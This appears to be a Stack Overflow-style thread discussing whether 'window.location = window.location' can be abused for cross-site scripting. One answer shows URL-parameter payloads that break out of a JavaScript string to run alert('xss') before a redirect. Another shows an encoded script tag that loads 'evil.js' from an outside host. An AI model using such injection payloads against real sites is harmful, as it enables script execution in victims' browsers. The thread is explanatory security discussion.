Is window.location = window.location susceptible to XSS

Question

This question is relating to the code window.location = window.location as a method to refresh the page and is not concerned with redirections / other variables.

My understanding is as follows:

window.location = window.location causes the page to refresh, as the browser will navigate to the same location the user is already on.

Any change to this variable via DOM manipulation will cause the page to reload/load the attackers page, thus these lines will not able to be executed with an altered value and so are not a candidates for cross site scripting attacks.

Is this correct?

Edit: What I'm really asking is if there is a way to change window.location without causing a page reload, so that then when the window.location = window.location call is made, the browser will be sent to another location.

Nowell

What if someone opens up the console and types any arbitrary javascript code? Your site is vulnerable if it is. – Mauricemauricio

If you do this window.location = window.location and the page reloads... then the same will happen again... and you'll enter infinite loop. – Besom

@Besom i think it's reasonably safe to assume this wouldn't be called on page load – Adhere

Yes, this appears to be correct, but why don't you just use window.location.reload()? – Boone

I'm pretty sure that there is no way to change window.location without the attacker already having full control over your page – Boone

@Boone Want to post that as an answer so I can accept it? "No you can't" is a perfectly acceptable answer, I'm not sure why nobody seems to want to say that on StackOverflow... – Nowell

@Nowell Because that's not the question you asked... – Gabrielson

You're answer didn't answer the question I asked either @Brad... But thanks, we got there in the end – Nowell

@Nowell I took a guess at what you were asking. Next question, if you provide the full context, it will help someone understand what you're getting at. Glad you got your answer in the end. – Gabrielson

@Nowell it is possible to exploit in this scenario by using string concatenation to defer the assignment to window.location until after the payload has executed. – Yoko

Answer 1

So if I understand what you were asking correctly, none of these answers are correct. It is possible to leverage the window.location to perform xss. It seemed like the roadblock you were running into was with the fact that after the window.location line executed the page would refresh and skip the execution of yourpayload. I'm assuming that you are able to somhow introduce contents into a string on the right side of window.location, and the input is not being properly encoded as a JavaScript string.

For example if http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+' results in code like:

<script>
  window.location='derp';alert('xss');var a = '';
</script>

You can just leverage string concatenation to defer the assignment to window.location until after your payload has been executed. So something like:

http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'

would result in the following code that executes your payload.

<script>
  window.location='derp' + alert('xss') + '';
</script>

This should really be in the security StackExchange though.

Yoko

Great answer, didn't know you could executive code before window.location redirects. – Azal

Answer 2

The problem has nothing to do with window.location, and everything to do with how you handle arbitrary data used in a new context.

If you take input from a URL and use it to build a new URL to redirect to, then you open yourself up for problems. Take the classic redirect page...

http://example.com/redirect?url=http%3A%2F%2Fsomethingevil

If there is JavaScript on the page that then sets window.location to the value of the query string parameter url, then the page will go to http://somethingevil.

The main way XSS is done is by allowing query string parameters to inject data into the page itself. For example, you might have a page that says "Hello Brad", where "Brad" came from the URL parameter called name. Now, suppose an attacker instead sets the URL to be name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E. If I just inject the value of name directly into the page, then my script evil.js is going to run on that page. If instead I escape the data properly, then it can be used in the page as it will be interpreted as text.

Gabrielson

What I'm really asking is if there is a way to change window.location without causing a page reload, so that then when the window.location = window.location call is made, the browser will be sent to another location. – Nowell

@Nowell I don't understand? Why would you do this, and what does it have to do with XSS? – Gabrielson

The line of code in question was raised by a security scan as a potential exploit for Cross-Site Scripting through DOM manipulation. I didn't believe it was possible to exploit that line in this manner. Thus the question. – Nowell

Oh, I wouldn't read too much into automated scanning. No, there's no problem with that, assuming there wasn't originally. – Gabrielson